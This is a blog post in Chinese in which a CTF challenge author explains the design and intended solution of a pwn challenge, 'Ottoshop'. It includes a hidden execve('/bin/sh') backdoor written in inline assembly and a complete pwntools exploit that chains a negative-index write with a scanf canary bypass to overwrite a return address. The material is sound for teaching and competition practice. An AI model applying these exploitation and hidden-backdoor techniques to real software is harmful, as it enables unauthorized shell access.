Mini L 2024 小记

Ottoshop ♿

出这个题的第一想法就是出一个 shit 一点的签到题, 最开始想的签到题的想法是无 leak , 就是我不给你输出函数, 但是给你一次溢出的机会, 因为去年 miniL 2023 的 twins 给的印象比较深.

实际上实现一下完全没什么难度, 思路大概可以看一下我博客上的复现.

然后当时的想法是把 twins 给 revenge 一下, 做成 orw + 需要多读一次的那种, 但是实际上也就是需要多调, 也没什么难度, 后来再想就是我 close 1 和 2 , 让你去走 socket sendfile write 的路线, 这其实难度也不大, 只是有一种在锦上添花 (塞 shit) 的感觉, 只要过了无 leak 这一关后续都是一调就出的东西.

想法有了和几个出题人商量一下, 大伙觉得这个不一定算签到题的范畴, 思考难度还是比较高的, 于是我直接跑路, 寻思面向栈上的 trick 出个签到, 于是就有了这个 scanf 绕 canary 的题.


最开始的想法是想些办法做一个迁移 + 绕 canary , 但是实际上做起来发现好像思考成本有点过高了, 想这么结合做个签到题也不现实, 于是我想了想, 把迁移这个点丢了吧, 换了一个更简单的下标越界.

但是下标越界高低得有个载体, 然后就不知道怎么想到的写个菜单的形式了.

于是我把洞按照菜单的逻辑放在了 2 个地方, 一个是在购买的时候检查不严密, 写负数下标即可低地址修改全局变量, 修改 money 这个值, 一个是输入 666 之后会开放购买 golden ♿ , 这里面会允许溢出, 但是开了 canary , scanf输入正负号绕过即可修改返回地址.

那这样大体逻辑就差不多了, 但是只放这么一点东西是不是又有点过于签到了呢 😄

于是开始塞 shit , 大概塞了这么几个 shit :

  • 写了一堆狗屎函数, 大概是 100 个, 其中夹杂了一个真的后门函数, 目的就是不让你轻易找到那个后门(

  • 后门函数是 execve("/bin/sh") , 但是我又不能让你直接在 got 表里面看到后门, 于是改成内联汇编的形式, 采用系统调用的形式来做后门, 然后为了防止找到 /bin/sh 👴还加了个异或加密, 源码大概长这样:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    void o77oOtTo0T70()
    {
    char *a = flag2;
    if (strcmp(a, "otto") == 0) {
    for(int i = 0;flag1[i];i++)
    flag1[i]^=0xff;
    asm volatile(
    "mov %rsi,0\n"
    "mov %rdx,0\n"
    "lea %rax,flag1\n"
    "mov %rdi,%rax\n"
    "mov %rax,59\n"
    "syscall\n"
    );
    }
    }
  • 然后还在 666 的那个分支那里放了个假的后门, 一个溢出, 但是不给你 canary 估计你也没得用 😄

于是一个塞了 shit 的签到题就出来了, 考点就是 scanf 的 trick 和下标越界.


说下做法, 找后门函数这一块我的预期是你要是有办法就快速找一下, 比如说你可以 CTRL + s 去 data 段里面能看到个 flag1 , 然后交叉引用一下立马就能找到后门函数, 如果你没这样也无所谓, 就 100 个垃圾函数, 翻就完了(

找到后门看到个 execve 的系统调用, 调一下就知道是 shell , 然后如我上面所说, 下标改 money 改 otto , 然后进到 666 分支, 再转回 golden 直接覆盖返回地址即可.

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
#from LibcSearcher import *
context(arch='amd64',os='linux')
#context(log_level='debug')
#r=process("./ottoshop")
r=remote("0.0.0.0",58496)
elf=ELF("./ottoshop")
#libc=ELF("./libc-2.27.so")

def debug():
gdb.attach(r)
pause()
#debug()
bkdoor = 0x4020a4

def buy(idx,name):
r.sendline("1")
sleep(0.1)
r.sendlineafter("?\n",str(idx).encode())
sleep(0.1)
r.sendafter("name!\n",name)
sleep(0.1)


buy(-72, b'otto')

buy(-90, b'AAAA')

r.sendline("666")
r.sendline("a")
r.sendline("3")

r.sendlineafter("buy?",'4')
r.sendline("-")
sleep(0.1)
r.sendline("-")
sleep(0.1)
r.sendline("-")
sleep(0.1)

#debug()

r.sendline(str(bkdoor).encode())

r.interactive()

随便写写就好了.


解题情况和我的预期差不多, 懂 trick 的人随手秒了, 然后几个 23 来做题的也在 get 知识点后很快出了, 挺好.


Mini L 2024 小记
http://example.com/2024/05/07/“1”/
Author
Luo
Posted on
May 7, 2024
Updated on
May 15, 2024
Licensed under